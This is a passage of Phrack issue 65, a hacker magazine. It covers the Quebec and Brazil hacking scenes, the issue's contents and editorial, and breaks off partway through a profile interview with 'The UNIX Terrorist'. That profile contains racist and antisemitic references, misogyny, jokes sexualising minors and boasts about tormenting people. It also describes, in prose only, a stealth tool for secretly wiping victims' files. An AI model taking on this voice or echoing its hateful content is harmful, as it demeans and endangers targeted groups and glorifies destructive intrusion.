Today, the Quebec scene still exists even tough it has changed a lot during the last years. The rapid growth of the Internet has made meeting people a lot easier than before, and it helped the community to grow larger. Consequently, a lot of people , such as computer geeks, adepts of technology, gamers and web programmers began to hang around hacker groups. As of today, there is still a couple of hackers left in the dark corners of the Quebec scene, but you need to scratch the surface a little bit to find them ...

Mindkind is one of the only hacking group that still releases ezines on a regular basis. They have their own particular style of writing, that could be defined as eccentric and delirious. To date, they have published 10 ezines, talking about different subjects such as phreaking, hacking and philosophy. Through the years, many people joined this group and a lot have left also, but there is still the same group of fanatics that remains to keep the group alive.

The new millennium has also brought a lot of meetings, conventions and get together. Among those events, there were the Hackfests, organized by the Centinel. Hackfests are conventions on hacking that last a full weekend and they are hosted at University Laval, in Quebec city. A few dozens of hackers meet during this time to hack, learn and of course party. On the schedule, there are various activities, such as hacking contests, conferences and wargames, with a nice music ambiance provided by the 31337radio internet talk show.

The 2600 group has also its meetings in Montreal. Each first Friday of every month, a small group of computer freaks meet downtown Montreal to talk about different subjects such as computers and electronics. Among those conversations, you can sometimes ear some interesting discussions about computer security.

There is also the famous reverse engineering conference better known as Recon that takes place in Montreal. This event is organized by three Quebecers, passionate about reverse engineering and security. This conference had a lot of good and highly skilled speakers in the past. The next conference is planned for the year of 2008.

Finally, since a couple of years, the corporate world has changed a lot of things in the Quebec scene. Now, some hackers are getting paid to do what they love to do. Consequently, this movement altered the motivation of a lot of hackers over time. I still think it's possible to stay true to your roots even if you earn your living this way, but too many people are getting corrupted by the money. Also, a lot of opportunists, with absolutely no knowledge of hacking and security, are attracted by the easy money you can do in the corporate world of the security, but this is another story ...

Busts

‑‑‑‑‑

To my knowledge, one of the first bust to happen in Quebec was back in April 1993. Coaxial Karma, from NPC, was arrested for hacking into a VAX/VMS cluster of University Laval. He did his prowess by brute forcing usernames and passwords. Then, an administrator saw the logs by chance, and called the police. Since he was a juvenile at that time, he got by quite easily.

June 8th 1998, three members of C‑A got arrested. They got charged with possession of password lists, possession of bomb recipes and hacking. Two people got away with it, but phaust, the founder of the group, was sentenced to 12 months of community service and placed on probation for 12 months.

Back in February 2000, one of the most publicized denial of service attack happened. I don't think it's an exploit that the Quebec scene needs to remember, but it's still something important that needs to be talked about. Mafiaboy was the individual who performed those denial of services attacks against high profile corporations such as Yahoo, Amazon, Dell, eBay and CNN. After bragging about it on IRC, he got the attention of the authorities. In September 2001, he was sentenced to eight months of open custody, one year of probation, restricted use of Internet and a small fine.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PHRACK INTERNATIONAL SCENE ON BRAZIL

by sandimas

Since last 'Phrack International Scene on Brazil', over than a decade ago, there were lots of changes on the hacking subject in 'coconut land'. Here is a very brief historical retrospective on the evolution of brazilian hacker scene.

[ ‑‑ The initial mark

Back on that time Internet access in Brazil was somewhat restrict only to academicists or rich people. The BBS scene was quite popular and still existed. The very begining of the scene was developed on this environment, although there is a few information and documentation about this time.

In 1995 when Embratel (our AT&T) authorized commercial access to the net, there was the kickstart of an rehearsal to a more robust hacker scene. In this same year the first brazilian hacking e‑zine called Barata Eletrica appeared, although being lame it can be considered the real initial mark of the scene in Brazil.

[ ‑‑ Heading to a more robust scene

In subsequent years, due to lower prices of equipments, there was a significant expansion of hacking in the country. Many people and groups got united altogheter to exchange knowledge and spread it through many e‑zines. Although not all publications were that good and hackers were not that skilled, these people helped out to pave the road to an even large scene. It was the most active time brazilian hacking has ever seen.

[ ‑‑ 1999: The rise of the script‑kiddies

At the end of 90's hacking achieved a "pop" status in Brazil. Being a hacker was "cool". Without much knowledge you could brag and boast to your friends and impress chicks. With half‑dozen public exploits you could break into computers belonging to the government and other high‑profile targets. The (always) uniformed media gave so much attention to these 'hackers' and because of this it was easy to have your nickname on the most‑watched tv news or major newspapers and magazines.

This banalization drawed attetion of the authorities and anti‑hacking laws were built but they never got through. And, going with the flow, many computer security firms were created. Some kids who had grown up from the early underground scene went corporate and created their own companies. But also there are many other companies that took advantage of the fear spread by the media and increased their stock market shares by selling lies and offering snake‑oil consultancy.

Needless to say in this Dark Ages few or none worthwhile knowledge was produced and published to the national scene.

[ ‑‑ ...and everything after

Just like after the Dark Ages, we also had our Ages of Englightment, shedding a light at the brazilian scene. New groups and a bunch of new people and mailing lists committed themselves to study and experiment new horizons of computing were formed, quite good papers and tutorials in portuguese were published and a scene seemed to be flourishing again, even with strange highs and strange lows.

After a few years of almost nothing interesting occurring here we had Hackers 2 Hackers Conference I in 2004, the very first hacker conference held in Brazil. H2HC is now moving toward its fourth edition and getting better every year.

Currently in Brazil we have two or three well known teams and a bunch of skilled people getting along in close‑knit circles. We also have two active e‑zines, MOTD Guide, aimed to beginners, and The Bug! Magazine, with more sophisticated articles and oriented to people with medium level skills.

[ ‑‑ Few words about phone phreaking in coconut land

There is no phreaking in Brazil. Period. In late 90's we had only two serious groups, a few hangers‑on who used to blue box, a guy called Tom Waits and a magazine called Brazilian Phreakers Journal dedicated to phone phreaking but they are dead and gone now.

Apart from some tricks to make free phone calls and calling card abuse, there seems to be no real phreaking here. Our phone system has been kept secret for many years and no one really understands it deeply.

65

- Introduction by TCLH

- Phrack Prophile on The UNIX Terrorist by TCLH

- Phrack World News by TCLH

- Stealth Hooking by Mxatone and IvanLeFou

- Clawing holes in NAT with UPnP by FelineMenace

- The only laws on Internet are assembly and RFCs by Julia

- System Management Mode Hacks by BSDaemon and coideloko and D0nand0n

- Mystifying the debugger for ultimate stealthness by halfdead

- Australian Restricted Defense Networks and FISSO by the Finn

- phook - The PEB Hooker by Shearer and Dreg

- Hacking the $49 Wifi Finder by openschemes

- The art of exploitation by FelineMenace

- The Underground Myth by Anonymous

- Hacking your brain by -c

- International Scenes by various

Introduction

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x01 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By The Circle of Lost Hackers ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Welcome back.

Another year has passed, another PHRACK issue is out, PHRACK65.

Every time somebody gives me a present I end up thinking to the story of that gift. Where did it come from ? Who worked on it ? Did who worked on it ever thought that his work would have end up in my hands ?

What about a PHRACK issue ?

PHRACK comes from the underground, the underground worked on it, submitting papers, sending feedback, commenting, spending long night chatting, reading, BREATHING. Does the underground still breath ?

Things change, panta rei. As hackers, we have fun. We want fun. Hacking is fun. You know it because you did it, because you spent nights and nights on this fucking fun, going to sleep at 6 a.m. and waking up three hours later to present your face at school or work, with your brain still back home on your encrypted work. Are you still having fun ?

Please, don't take it personally, don't over‑react. It's just a question. A question that everybody should pose to themselves every single day, no matter what he is doing. FUN is not only PAYBACK. We are human, we love receiving congrats, who doesn't ? We LOVE seeing our little work spread around. We love the clap‑clap‑clap sound. But does it really boil down only to that ?

When you lose fun and start doing things only for the payback, you're dead. Everyone of you who experienced a bad job or a bad exam topic knows the feeling of "wasting time on useless things" that pops out in those moments. But, most of the time, you _HAVE TO_ do it.

Well, nobody _HAS TO DO_ hacking. Nobody.

If you are only doing that for a payback, than you are a DEAD hacker. If you are only doing that to present a paper to a conference, to see your name somewhere, than you are a DEAD hacker.

It will work. You don't need fun to be skilled, you don't even need to be skilled to post or to go to a conference, there are so many around that everybody has some hole to fix. But your touch with the underground is gone. Your responsibility towards friends, ideas, codes will slowly fade away. HACKING is also responsibility and FUN is the only way to not feel its pressure

You might disagree, just post on your idea. Maybe it is a too dark scenario, maybe it is just a spring blues, maybe I am just pessimistic, but this is the feeling. This is money taking over everywhere, this is seeing more and more things done only for the payback.

This is seeing the underground heart beating slower and slower.

PHRACK is just an example of what the underground has been able to do. Of what we can do. But so many hackers out there are capable of disrupting the system without having to read or write a magazine like we do. We are entering into a period where Government and Politics are trying to control technology with supposed‑anti‑terrorism laws. And they don't lack money or good congrats.

So please, please, help this fucking heart beating faster, pushing blood around. Please HAVE FUN.

This is the 65th edition of Phrack and we are still alive. Despite that some people say they don't learn anything when reading phrack we still think that Phrack is one of the best underground communication methods. Oh well, for sure, there are other and even better ways. But Phrack is one way and probably not the worse. We have tried to release this issue earlier but editing a magazine (and especially Phrack) is not easy. We have received a lot of positive comments after Phrack release #64 and a lot of people said they will contribute. However we did not see anything coming. Almost all articles from this release are coming from our first circle of friends. Again.

This release, despite that it is not the perfect one, tries to bring a good mix between technical articles and what we call spirit articles. Our introducing and concluding articles (Phrack Prophile and The Underground Myth) bring two opposite visions of the hacking underground.

Contradiction? No. Freedom of speech.

We have kept with our regular columns Phrack World News and International Scenes. We also have decided to publish less exploit articles. However, low‑level hackers should find their way easily into this new release.

[‑]=====================================

For this issue, we are bringing you the following :

0x01 Introduction TCLH

0x02 Phrack Prophile of The UNIX Terrorist TCLH

0x03 Phrack World News TCLH

0x04 Stealth Hooking: another way to subvert the Windows kernel mxatone

ivanlefou

0x05 Clawing holes in NAT with UPnP felinemenace 0x06 The only laws on Internet are assembly and RFCs Julia 0x07 Hacking the System Management Mode BSDaemon, coideloko, d0nand0n 0x08 Mystifying the debugger for ultimate stealthness halfdead 0x09 Australian Restricted Defense Networks and FISSO The Finn

0x0a Phook ‑ The PEB Hooker shearer & dreg

0x0b Hacking the $49 Wifi Finder openschemes

0x0c The art of exploitation: Samba WINS stack overflow max_packetz

0x0d The Underground Myth anonymous

0x0e Hacking your brain: Artificial Conciousness ‑C

0x0f International scenes various

Windows stealth hooking article brings a deep analysis of the XP kernel internals by presenting two sophisticated backdooring techniques. It is generally hard to find valuable reverse engineering articles covering *new* topics and satisfying our standards, but these guys have made a great job. Make sure also to check out the PEB Hooker and the full published source code if M$ software reversing is your thing. Both of those articles will bring you a very good read.

Felinemenace is featured again and brings you one of their latest hacks on more recent network protocols. Our second network article digs into FISSO by introducing not‑so‑public information about australian restricted networks.

As we continue to care about cryptography, Phrack #65 includes a useful cryptographic concept of deniable encryption, a particulary relevant topic for hackers. Check out Julia's article for all details.

As mentioned, we have tried to bring you the best low‑level hacking around. Articles such as Hacking the System Management Mode, Hacking the $49 Wifi Finder, Mystifying the debugger, are not really 0day for those of you already in the underground, but aim to bring you sufficiently material to develop your creativity on that matter.

Finally, we could not release Phrack without at least one exploitation article. Max Packets has done the job of describing step by step his Samba WINS exploit. The information contained herein will certainly be enough for those of you guys who want to develop their own.

Scene Shoutz:

‑‑‑‑‑‑‑‑‑‑‑‑‑

Again, Phrack #65 could not have happened without so many people. Thanks to the admins, coders, hackers, scripterz.

Shouts : mauro, sysk, leandro, assad, kiwicon for an amazing conference with a lot of original topics. As long as you stay a non profit event Phrack will support you! We are also looking forward to the next BACon in september 2008. Shouts to all south american hackers & expats.

No shouts: All supposed "Underground people" who asked us million times when Phrack will be out but never contribute to the magazine. If you guys were a little more productive perhaps Phrack would be released more often. Also, we will ‑not‑ help poor indonesians bypassing government's p0rn websites filters. Sorry taufiks1428@gmail.com.

Lames:

* cucamonga (xt@docking.gaykansascity.com) has joined #phrack <el> why hasnt phrack65 been leaked yet

<vegas> probably coz i don't have it

<shiftee> probably cause nobody wants to read it

Phrack has not been leaked this time...sorry for that... probably because shiftee needs to sharpen his hacking skills instead of posing on IRC. He could also read Phrack, we will not deny his IP address. Any questions, send us an email.

Flames: vegas (insecure wannabe), HDM (pwnie coward)

Enjoy the magazine!

[‑]=====================================

Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : circle[at]phrack{dot}org

Submissions : circle[at]phrack{dot}org

Commentary : loopback[@]phrack{dot}org

Phrack World News : pwn[at]phrack{dot}org

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.4.5 (GNU/Linux)

mQGiBEYfRF0RBADcVdkdzGcuHTx/r3ymypC622BkkAa4tYEsVXkOBFwvGLy5+ILn M1nfwx1hfs1ZHQS53e8lxrs4j8qFSFuCTCQTCZuVFHaS9JDt+RfEyWwtmTTPfuhL TYj1RON33t7OGEuyAF9oIca0Uj0PSREyT0mwbAOBVTZfWEC2yBZao+c3iwCghHaQ fRShZoA5iTfRNP+qnUyyyJ0EAIxix1TB2ImygXn+mPoPFxIOYh71eXsi2LXPPYU5 Q2/snVork1wkGVjwB7Bn2cHEeyUVb8sHjXY18lGpXcx0jFjq7ZMFcBtevI4I1YJL kfFkxQvXb8jjA8UY0IJfvhQ86O7OCsg0LnuCpHtnQAX8bljxZA27RO8cHLWfwOBX 4HhnBACZS4YrTKf5yC6HEVfB4j822a3hbmvuwSC9FVqJZzuW6agfeQjUMSi3TLig SW721aMesY2ZWsGCmD3OhapqWoDssb4qN+udlqzDj3urrlxsU2BthYyZkPyECf8q q5CzBOa7CZVj46XuNr0NebfKt8zJUahXUwXJ8WUG9Mq02IpCzrQxbG1iZHdyIChQ aHJhY2sgcGVyc29ubmFsIGtleSkgPGxtYmR3ckBwaHJhY2sub3JnPoheBBMRAgAe BQJGH0RdAhsDBgsJCAcDAgMVAgMDFgIBAh4BAheAAAoJEMA5IJciKhVsCjEAmwTY y0PGxRDutAz4AAidWnXLVTfwAJ9z0lNQtQNSVs6/NVR7QlYPA8b5RLkBDQRGH0Rd EAQAvTWMbq05s05rQNPOGKngGbGnNunicDIPg4OfTieXXOa3HFDb3sGTCYpAUv4H 7IPnei7jGCdsdrco1xmtQmQ+xVWoklb44G0wmmjVvnuIZ2DGhf6d3ijxGKZfL0oi eBia/X68IIc+prAypwm7URlOAHVJnoHKCZG8MNcbD+5AyOsAAwUD/1JkpKjSXR48 SzW+G6GVxh2N0bmDAFBTaNzVPn4Hpv0MQgdU5EAYc+Py+E3ehFVPdaoasTUA+Bzx x4qXeFGaQI0xvkBfHART3ai6k3boY6e29OMdprBNyRlCGvFmhYT98bKK1hyoD9km m5zcHoyzr26RSEG1CcJhlp+i5E6o42qgiEkEGBECAAkFAkYfRF0CGwwACgkQwDkg lyIqFWxBXQCfbL9co8kDl32Ri0iNcoQi+HF5YC0An16AqMNGoNZ0zOkN8avUCWe3 zAAYmQGiBEZtVVQRBADK+AnxFD0Qg/kHQxo8ieAcypqBvSxl+O0YPwGTHhoxz7Sa pCKi68Tm9Dpe62RXgMqi72+JbzYXQW5SXrziE4cO4bIHv1oG+SVM5EnCj6N9gcH5 xf+3ljE5URjIvuaOzwq+hp4o1736WVTzykJ/plItRx/91kciFLNdGfVjho109wCg z4OAjOFg66jw3iuaWlf1xyYhH+8D/R4gCTHwoHxhR5ndg/oBH5umPZ/o8r3YFKbm 1DHTBKIipnq6Sisu6vYr80zR3MNYqT7//u27bDPXCtGaO68qHgZNYJ+Pl0g7mYTr

7htFE+t0O+sn26P7Za/yKHzQpUMJi4EfRv1/7CW0JAG18DbWQDSZo0bcr95MuVVQ Q+x2QYPkA/9/VrKDFjBWSPuHbowvyKCFOZ+rtlqQZBiV1vYx1cZX6uZCPiI9njfs vn1G+GNswTfruzngee/hPRimYayz4O6HmT7LBygz1MVMX0ViKrz4JHJzrH0EKm/+ 5+EvrdWYZfmYHj5RJp+E5vrbGfkqxrpRwWK2wE5hs8vVBSozBjScqbRhUGhyYWNr IHN0YWZmIDIwMDcgKFlldCBhbm90aGVyIGtleSwgdGhhdCBkb2VzbnQgZXhwaXJl IGFmdGVyIDEgZGF5IHRoaXMgdGltZSkgPGNpcmNsZUBwaHJhY2sub3JnPoheBBMR AgAeBQJGbVVUAhsDBgsJCAcDAgMVAgMDFgIBAh4BAheAAAoJEDAEn2IWRoZwbQkA oIYvSaNwugFczTyUqpGiCHzb6KUZAKDAWIr2t7xSbQJnf/z80tvKmw88MIheBBMR AgAeBQJGbVVUAhsDBgsJCAcDAgMVAgMDFgIBAh4BAheAAAoJEDAEn2IWRoZwbQkA n35TYBcJaUISdIV1iiFgoGYihlN9AKCzUmK7ynXAhta7GhOJpzkQdKDmabkBDQRG bVVUEAQAiNT5dMH5g6Yf+CSBjSnqb+B4sxDsb+kn2RezHGsq6JKpwQl3S5yBgPnW 8h2G6VOU/u8OVINBmGNzBnv4EabAwTIoKnVrOI0yu4F1n0ZZt35Jk2omh9h1JzpE Q96gG4TSx2QJ4tf7qfP7By0brOiVtGKJ1CLaQAX27M9NqwH43M8AAwUD/RoIKIdj gfTAabtd4CdvnvAeLBmsZzGKGpzSqcwPyWhvj3ElCvkLL5JAK3dnIgTbmrpv2ep5 KGeqkm/cbSNeHU8l9IaCX5Hd8QXWOKnf+zrbpJ90L3ZxSDZ1ZkSjMD4Ls6QxnRsJ 4jqzt6GSAOPD5urYjpErjZDkvYZ4S4ynB6G9iEkEGBECAAkFAkZtVVQCGwwACgkQ MASfYhZGhnAGQACdGlRjo7TYmHm7XMUOwhwSZ0hN43kAoIkhgLBdHfaOnskxc5YZ X8CVYa2m

=yjXZ

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

‑EOF‑

Phrack Prophile on The UNIX Terrorist

==Phrack Inc.==

Volume 0xc, Issue 0x41, Phile #0x02 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The UNIX Terrorist ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this issue of Phrack, we have renewed with publishing the prophile of an influencial underground character. The UNIX terrorist was already prophiled two years ago but for some editorial reasons at the time, we were not able to get his prophile published. Now that the Phrack editorial staff has less open conflicts with some part of the scene represented by the_uT, we want to make sure everyone remember his engagement. A lot of people believed he was an extremist blackhat hacker proning non‑disclosure during his time of activity. That was true. But he was not just this.

I have known the UNIX Terrorist in real life seven years ago. At this time, during his youth, the_uT was a softer hacker. Dont get me wrong, the_uT (or whatever he was calling himself before) always had this characteristic personality that made him an exceptionally creative dude. Later on, after he started body‑building (rumors mention that he followed the advices of his idol Mike Shifman), he got that impressive shape that certainly represented better his mind shift towards a more aggressive prophile. The UNIX terrorist is the result of this evolution from a young skilled hacker to a disabused philosopher of the underground.

This prophile was realized by The Paper Street Hacker in November 2007 for publication in Phrack Magazine #65 by TCLH. Remember the opinion reflected in this interview only engages the UNIX Terrorist and does not represent the opinion of the Phrack editors.

So here it is.

|=‑‑‑=[ Specifications

Handle: the_uT

AKA: daemon10, yu0, jungjeezy

Handle origin: Africa

Age of your body: 24

Produced in: The Heart of Darkness, USA

Living in: The Paper Street Soap Company, USA

Height & Weight: Excessive" / 250lbs

Urlz: http://web.textfiles.com/ezines/EL8/

Computers: Anything with a network connection and a working ssh client will do... I'd rather spend my money on clothes & entertainment... less tech garbage also means my bedroom doesn't scare the bitches away Creator of: PROJEKT MAYHEM / Phrack High Council / anti.security.is Admin of: Most of South Korea/China ... Member of: NAMBLA (proud sponsors of TOR!) / ANONYMOUS Projects: M4YH3M

Codez: stealthrm, the first blackhat RM(1) utility, designed to rm desktop computers silently. Distributed as a Linux LKM, VFS functions are hijacked so that file indexing and rm'ing can be smuggled and interleaved discretely amongst existing file operations. Additionally, keyboard I/O is monitored to determine the sysadmin's presence. Sporadic file wiping occurs either during heavy PLANNED system hard drive use, or occurs slowly and steadily, with timed delays, while the console user is absent. The primary purpose is to avoid the alarming and sickeningly unexpected HDD "crunching" sound that alerts many would‑be "rm ‑rf /" victims to their impending doom. File removal is scheduled according to a proprietary prioritization algorithm whose factors include criteria such as inode atimes and VFS type. Files are secure DOD‑wiped in place, but not unlinked, preserving disk statistics. Active since: 1998

Inactive since: I don't sleep... I metastasize

|=‑‑‑=[ Favorites

Actors: Assorted government officials, "security experts," and "spiritual leaders" ... Scientologists Films: Apocalypse Now Redux, Happiness, Gummo, Pi, The Big Lebowski, Bad Boy Bubby, Irreversible

Authors: Bret Easton Ellis, Louis‑Ferdinand Celine, Hunter S Thompson, William S Burroughs, Will Self, Irvine Welsh, H.L. Mencken, Mark Twain

Articles: "The New Hacking Manifesto" ‑ warez mullah, PHC Phrack #62

"lyfestylez of the owned and lamest" ‑ r0b1nleech, ~el8 3

Admins: hendy of team‑teso, The Digital Ebola[LoU], pm/sneakerz.org

Books: The Rise and Fall of the Third Reich, The Rape of Nanking, The Protocols of the Elders of Zion Novel: Fight Club, 120 Days of Sodom, American Psycho, Journey to the End of the Night, The Picture of Dorian Gray, The Jungle, Fear and Loathing in Las Vegas, Catch 22, A Confederacy of Dunces, The Story of /b/

Meeting: ADMCon / France (2001)

Project: The Manhattan Project, The Final Solution Sex: "You're dead if you're homely ‑ my shit's for adults, over eight years old only"

Drugs: Beta blockers and dissociatives... just about any substance featured on Erowid or T‑Nation... especially modafinil, ayahuasca, ketamine, dinitrophenol, epic stanozololz (Winstrofl), nandrolone, Epi‑Pens Music: Revolutionary/violent/mysognist/apocalyptic hip‑hop Ex: Jedi Mind Tricks, Necro, Circle of Tyrants, Non Phixion, Leak Bros, Immortal Technique, Q‑Unique, Cage, Celph Titled Plastikman

Alcohol: Like my women ‑ 15‑18 years old, single (malt) and on the fucking rocks

Cars: blue dodge viper (vroom vroom!)

Foods: Whey protein hydrolysate, Vitargo CGL, BCAA's, l‑glutamine, Carlson's Fish Oil Liquid Omega‑3

I like: Andrei Chikatilo, 2girls1[cup/finger], Puma Swede, thinspiration, violent sporting (WEC,UFC,Pride), solving intractable problems with violence, achieving EPIC LULZ of unprecedented magnitude

I dislike: Fat goths, CISSPs, fat people (in general), women with a BMI over 18, women whose thighs touch when they stand, miniature dogs, people who tailgate or drink beer out of red plastic cups, Basshunter

|=‑‑‑=[ Your current life in a paragraph

I'll give you a hint... it doesn't involve getting paid to do computer security research. The only reason I would even consider using a computer anymore would be to meet women of loose moral standards on myspace, or to engage in the wholesale piracy of music and video content, preferrably violent pornography. Or maybe to get directions to a strip club on mapquest... or order various scheduled substances from corrupt Eastern European pharmaceutical manufacturing facilities... In fact, if you're reading my prophile because you just happened still to be reading Phrack in 2008 and stumbled upon it, then I pity you... you fucking closet homosexual.

|=‑‑‑=[ First contact with computers

Studying the mysteries of gorillas.bas and nibbles.bas, oldstyle!

|=‑‑‑=[ Youth

I was 300 lbs, bespectacled, and acne‑stricken. I used to read copies of Dr. Dobb's Journal in P.E. Everybody hated me. Then I underwent an emergency negroplasty and decided to enact my revenge upon the world by inflicting massive verbal trauma through a medium where personal interaction is impossible and everybody feels tougher than they really are. So I installed BitchX and went on EFNET, and the rest, my friend, is history.

|=‑‑‑=[ Passions : What makes you tick

I'm distinguished by an acutely defined and unparalleled sense of schadenfreude. Technology is pretty fun too (or at least it was for a while), but what really drove me harder and further was the exciting possibility of using computers to turn the life of a particular fellow human being into a living hell. So no, I wasn't that kid that used to hang out at Radio Shack pulling apart electronic equipment and reassembling it to "see how it works." Shit like that doesn't make you a "hacker" ‑ it makes you a wannabe EE undergrad. Driving people over the precipices of depair and frustration is a great way to pass one's time, but definitely falls short of the pleasure of discrediting or humiliating or otherwise defaming and slandering the ill‑earned reputations of the various charlatans and hypocrites in the scene. Publishing the mail spoolz of the wicked, archiving the hard drives of the lame, and rm'ing the weak are all activities I find inspirational. Particularly, I choose to self‑medicate my anomie by proving myself smarter and stronger than others. This is the sort of thing with which we'll have to make do until we can one day stalk elk around the ruins of the Rockefeller Center or strip venison in the empty carpool lanes of some abandoned superhighway. For further information about what makes me "tick," please consult Dr. Neal Krawetz's remarkable and highly academic psychological exegesis, fully annotated to official APA formatting standards.

|=‑‑‑=[ Entrance in the underground

It all began on EFNET, some time around 1998 (long before they had CHANFIX like dalnet!) in lame and lamer channels like #b4b0 and #feed‑the‑goats. Historical note: Several incredibly diabolical and motivated individuals from b4b0 would come to rule the virtual entirety of the Interweb with an iron fist for the following decade. Yeah, I started hacking shit virtually exclusively on TCP/IP networks, and started writing exploits long after techniques like heap overflows and return‑into‑libc were published, so fuck you if you have a problem with the fact that I never scanned shit with toneloc or bruteforced SPRINTNET logins.

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

Writing any one of several reliable exploits for intelligently brute‑forcing complex remote vulnerabilities, which all made me feel like a hacker from THE MATRIX. Especially writing a universal blind exploit for the Wu‑FTPD globbing vuln for versions 2.5.x‑2.6.1 (cmdtab power!), and porting the remote client for CORE‑SDI's ingenious crc32 deattack backdoor to more exotic operating systems such as Solaris and IRIX (possibly the world's slowest exploit). Also, writing an LKM for dynamically loadable stack/heap execution protection on Linux.

|=‑‑‑=[ How started low‑level ?

Like most other "underground" groups out there, this one started from the flawed notion that it would somehow be cool to get a group of people together with a webpage and domain name and IRC channel and write a bunch of POC code and publish it to the public and post on sec lists for attention. It was a stupid idea.

|=‑‑‑=[ Personal general opinion about the underground

Well, the underground is pretty much dead, but I guess you mostly have the security researchers out there to thank for that one. However, as a delicious proof of the old adage "be careful what you wish for," security professionals have made their own demand scarce. With vulnerabilities so much harder to find, it means that random idiots out there aren't likely to find anything remotely useful by grep'ing for overflows in unsafe C functions. The first sign that things were about to dry out occurred during the format bug craze in 2000, which resulted in the systematic scanning of all varargs style functions that were incorrectly used ‑ the first time an entire class of vulnerabilities has been nearly perfectly eradicated in a body of open source code. Slowly over time, the same thing has happened to most other memory and integer overflows, and casting bugs. What happens as a result? 0day becomes a highly valued commodity. The chance of leakage decreases dramatically because:

1. 0day is much more valuable

2. Few people can find useful vulns, which decreases the amount of sharing. Additionally, smarter people usually find an intrinsically higher value in their own work than people that can't understand the exploits they're using.

3. "When guns are outlawed only outlaws will have guns" Praise be to Allah and the fact that the divine mathematics of exploit creation are now made sacred by entities like WIPO and the DMCA. For nearly a decade, security companies relied on FUD and fearmongering, heralding the imminent spread of global cyber‑warfare and e‑terror. A particularly salient example of this idiocy would be the infamous Aris Threatcon, second in its contemptibility only to the Homeland Security Advisory meter. These scare tactics worked for a while, as sec. companies boosted sales of products such as firewalls, packet filters, network scanners, and other useless trash by relentlessly trumpeting the seriousness of various "hacker" threats and by strategically scaring the public with their own original (mostly stolen) advisories. Ironically, they ended up scaring legislators more than the commercial sector, and now people like Dmitry Skylarov are arrested for publishing their "astonishing!" findings. Note to security companies: you're attempting to be both the cause and the cure and we've got use for neither.

4. 0day auctions: Blackhats finally realize that it's a lot more lucrative to sell exploit information to shadowy interest groups. Such sales have the added benefit of preventing information dissemination, because it works against the interests of all parties involved. iDEFENSE, the first and largest name in hacking middlemanry, was forced to purchase exploits from the underground when they realized they lacked the technical skills in their meager R&D labs to find any exploits on their own. But who in their right mind would consider auctioning off vulns at Argentinian prices to a whitehat sweatshop that will just pawn their findings off as their own, and then publish them to Bugtraq ‑ when they can make the same sale to somebody in the underground for 5‑10x the cost and rest assured that the vuln will stay alive?

Nowadays, it is claimed that the Chinese and even WOMEN are hacking things. Man, am I ever glad I got a chance to experience "the scene" before it degenerated completely. And remember, kids, knowing how to program or wanting really badly to figure out how things work inside doesn't make you a hacker! Hacking boxes makes you a "hacker" ! That's right! Write your local representatives at Wikipedia/urbandictionary/OED and let them know that hackers are people that gain unauthorized access/privileges to computerized systems! Linus Torvalds isn't a hacker! Richard Stallman isn't a hacker! Niels Provos isn't a hacker! Fat/ugly, maybe! Hackers, no! And what is up with the use of the term "cracker"? As far as I'm concerned, that term applies to people that bypass copyright protection mechanisms. Vladimir Levin? HACKER. phiber optik? HACKER. Kevin Mitnick? OK, maybe a gay/bad one, but still WAS a "hacker." Hope that's clear.

|=‑‑‑=[ Memorable Experiences

First box I ever owned (dropstat'd son)

